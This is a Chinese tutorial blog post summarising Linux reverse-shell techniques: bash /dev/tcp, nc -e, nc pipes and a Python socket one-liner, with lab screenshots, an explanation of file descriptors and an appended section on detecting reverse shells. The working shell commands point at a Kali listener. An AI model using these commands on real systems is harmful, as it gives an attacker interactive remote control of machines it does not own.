Linux反弹shell方式总结

bash反弹

反弹指令:
bash -i >& /dev/tcp/ip/port 0>&1
反弹步骤:
在kail上开启7777侦听:
nc -lvp 7777
在靶机上输入反弹指令即可反弹成功

基础知识

linux下有三个标准的文件描述符:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

>&代表重定向
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

指令分析

  1. bash -i表示本地打开一个bash
  2. /dec/tcp时linux系统一个特殊的设备,打开这个文件后会自动建立一个socket以连接对应IP的端口。而>&后面加上这个远端连接就等于将本地的标准输出标准错误输出重定向到远端的连接。假如连接的IP对应端口处于listening状态,在靶机输入指令结果就会在kail上显示。

在kail上开启监听 7777端口
在这里插入图片描述
ubuntu上打开一个bash并将标准输出和错误重定位到kail的连接上。
在这里插入图片描述
此时在ubuntu上输入ls,发现已经指令和结果已经显示到kail上。
在这里插入图片描述
因为没有将标准输入重定向到kail中故在kail中输入指令无法得到结果。
在这里插入图片描述

  1. 而0>&1则代表将标准输入重定向到标准输出,由2.可知标准输出已经重定向到远程,故可在远端输入指令,同时在远端显示指令输出的内容。
    输入bash -i >& /dev/tcp/ip/port 0>&1将输入流重定位后,kail可输入指令并返回结果。
    在这里插入图片描述
    0>&2的效果也相同,因为标准错误输出也已经重定位到了kail上。

netcat反弹

nc反弹shell的前提条件是靶机上需要支持nc命令,且根据nc版本的不同反弹的指令也略有差异。

nc -e反弹

假如nc上有 -e 命令,可用nc -h查看
反弹指令:nc -e /bin/bash 192.168.169.128 7777
反弹指令的意思是nc建立连接后可以执行-e后面的文件/bin/bash即可以执行shell指令。
在这里插入图片描述

使用管道符反弹

假如nc不支持 -e 指令就要使用linux的管道符来帮助反弹shell

管道符 | 可理解为管道符前的输出经过管道符传输给了管道符后当作输入。

在kail上开启7777和8888的端口。
在ubuntu输入反弹指令:nc 192.168.169.128 7777|/bin/bash|192.168.169.128 8888

在这里插入图片描述
在这里插入图片描述
此时在7777监听端口输入的指令会传到ubuntu中被/bin/bash执行,输出的结果又会传到8888监听端口中显示
在这里插入图片描述

python反弹

在kail上开启7777端口监听
反弹指令:

python3 -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.169.128',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i'])"

在这里插入图片描述
在这里插入图片描述

指令分析

# 导入所需要的os,socket,subprocess包
"import os,socket,subprocess;
# 创建一个tcp套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# 与目标ip 端口号建立tcp连接
s.connect(('192.168.169.128',7777));
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
# 分别将标准输入,标准输出,标准错误输出重定向到远端的连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
# 打开一个子进程以-i 交互的方式执行
p=subprocess.call(['/bin/bash','-i'])"

未完待续…

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux 反弹 shell 是一种攻击技术,攻击者利用漏洞或恶意代码将远程 shell 注入受害者的系统,从而获取对系统的控制权。为了检测 Linux 反弹 shell,可以采取以下几种方法: 1. 监控网络活动:使用网络监控工具,如 tcpdump 或 Wireshark,检查网络流量是否存在异常连接或未知的传出连接。特别关注与反弹 shell 相关的常见端口(如 4444、31337)。 2. 检查系统进程:使用 ps 或 top 命令检查正在运行的进程列表,查找不明确的、不信任的或异常的进程。特别关注与反弹 shell 相关的常见进程名称(如 netcat、nc、socat)。 3. 检查系统文件:使用查找命令(如 find)或相关工具,检查系统文件是否存在未知的、可疑的或异常的文件。特别关注与反弹 shell 相关的常见文件名和路径(如 .bashrc、.bash_profile、.ssh/authorized_keys)。 4. 检查系统日志:查看系统日志文件,如 /var/log/auth.log 或 /var/log/secure,检查是否存在异常登录尝试或认证失败记录,以及与反弹 shell 相关的异常日志。 5. 使用专业工具:使用专门的安全工具,如 LOKI、Lynis、AIDE 等,来扫描系统并检测可能的反弹 shell 活动。这些工具可以自动化检测系统中的恶意活动和异常行为。 请注意,这些方法可以帮助您发现潜在的反弹 shell 活动,但不能保证绝对的安全。建议您定期更新系统、安装最新的安全补丁,并采取其他安全措施来确保系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值